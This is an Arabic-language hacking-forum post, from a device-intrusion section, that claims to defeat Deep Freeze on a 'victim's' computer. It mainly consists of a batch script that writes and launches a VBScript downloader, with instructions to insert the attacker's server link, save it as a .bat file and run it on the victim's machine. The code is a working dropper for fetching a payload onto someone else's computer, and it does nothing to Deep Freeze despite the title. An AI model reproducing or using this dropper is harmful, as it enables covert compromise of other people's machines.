Hαcĸer'ѕ Kιɴɢ
:: Interactive Developer ::
~ طرق للقضاء على الديفريز في جهاز الضحية ~
~ كيفكم يا احلى قراصنة ان شاء الله بخير ~
احضرت لكم كود للقضاء على الديب فريز نهائيا باذن الله
لا ادري اذا كان يقضي على الاصدار الجديد و لكن اتوقع انه يجدي نفعا
PHP:
@echo off
set file="Mehdi"
set dlto="C:\"
::----------------
if exist %temp%\dl.vbs del /q %temp%\dl.vbs
echo HTTPDownload %file%,%dlto% >> %temp%\dl.vbs
echo Sub HTTPDownload( myURL, myPath ) >> %temp%\dl.vbs
echo Dim i, objFile, objFSO, objHTTP, strFile, strMsg >> %temp%\dl.vbs
echo Const ForReading = 1, ForWriting = 2, ForAppending = 8 >> %temp%\dl.vbs
echo Set objFSO = CreateObject( "Scripting.FileSystemObject" ) >> %temp%\dl.vbs
echo If objFSO.FolderExists( myPath ) Then >> %temp%\dl.vbs
echo strFile = objFSO.BuildPath( myPath, Mid( myURL, InStrRev( myURL, "/" ) + 1 ) ) >> %temp%\dl.vbs
echo ElseIf objFSO.FolderExists( Left( myPath, InStrRev( myPath, "\" ) - 1 ) ) Then >> %temp%\dl.vbs
echo strFile = myPath >> %temp%\dl.vbs
echo Else >> %temp%\dl.vbs
echo Exit Sub >> %temp%\dl.vbs
echo End If >> %temp%\dl.vbs
echo Set objFile = objFSO.OpenTextFile( strFile, ForWriting, true ) >> %temp%\dl.vbs
echo Set objHTTP = CreateObject( "WinHttp.WinHttpRequest.5.1" ) >> %temp%\dl.vbs
echo objHTTP.Open "GET", myURL, False >> %temp%\dl.vbs
echo objHTTP.Send >> %temp%\dl.vbs
echo For i = 1 To LenB( objHTTP.ResponseBody ) >> %temp%\dl.vbs
echo objFile.Write Chr( AscB( MidB( objHTTP.ResponseBody, i, 1 ) ) ) >> %temp%\dl.vbs
echo Next >> %temp%\dl.vbs
echo objFile.Close( ) >> %temp%\dl.vbs
echo End Sub >> %temp%\dl.vbs
start %temp%\dl.vbsبعد ماتلصق هذاء الكود في المفكرة بدل كلمةMehdi برأبط سيرفرك المباشر واحفظها بأمتداد BAT . بعدين نزلها بجهاز الضحية وسو لها تشغيل ومبروك عليك الضحية
اهداااااااااااااااااااء الى جميع العناكب
سلااااااااااااااااااااااااااااام :00001793[1]::00001793[1]:
التعديل الأخير:
اسم الموضوع : ~ طرق للقضاء على الديفريز في جهاز الضحية ~
|
المصدر : قســم إختــراق الأجهــزة